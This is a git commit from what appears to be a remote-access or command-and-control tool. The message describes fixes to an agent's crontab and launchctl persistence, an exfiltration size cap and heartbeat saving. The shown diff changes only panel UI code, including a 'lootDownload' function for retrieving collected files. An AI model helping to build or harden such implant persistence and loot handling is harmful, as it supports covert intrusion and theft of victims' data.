fix: audit bugs — debounce saveData, CSV escape, switchTab event param, exfil size cap, shell injection, launchctl bootstrap

- server.js: debounce saveData to max 1 write/15s (was every heartbeat)
- server.js: proper CSV escaping (_csvEscape) for node export endpoint
- server.js: replace deprecated String.substr() with String.slice()
- agent.py: 50MB size cap on download_file to prevent OOM
- agent.py: shlex.quote() server_url in crontab persistence (shell injection)
- agent.py: replace deprecated launchctl load with bootstrap/bootout/kickstart
- app.js: pass event param to switchTab() (global event deprecated)
- app.js: fix lootDownload URL revocation (60s → safe for slow downloads)
This commit is contained in:
root
2026-08-07 00:59:07 +00:00
parent 4da56b5874
commit c966cb0a28
3 changed files with 195 additions and 57 deletions

View File

@@ -456,11 +456,11 @@ function closeInstallerModal() {
document.getElementById('installerModal').classList.remove('active');
}
function switchTab(tabName) {
function switchTab(tabName, evt) {
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
event.currentTarget.classList.add('active');
(evt || event).currentTarget.classList.add('active');
document.getElementById(`tab-${tabName}`).classList.add('active');
}
@@ -996,11 +996,14 @@ function closeLootLightbox() {
function lootDownload(id, filename) {
fetch('/api/files/' + id).then(r => r.blob()).then(b => {
const url = URL.createObjectURL(b);
const a = document.createElement('a');
a.href = URL.createObjectURL(b);
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
setTimeout(() => URL.revokeObjectURL(a.href), 5000);
document.body.removeChild(a);
setTimeout(() => URL.revokeObjectURL(url), 60000);
}).catch(() => toast('Download failed', 'error'));
}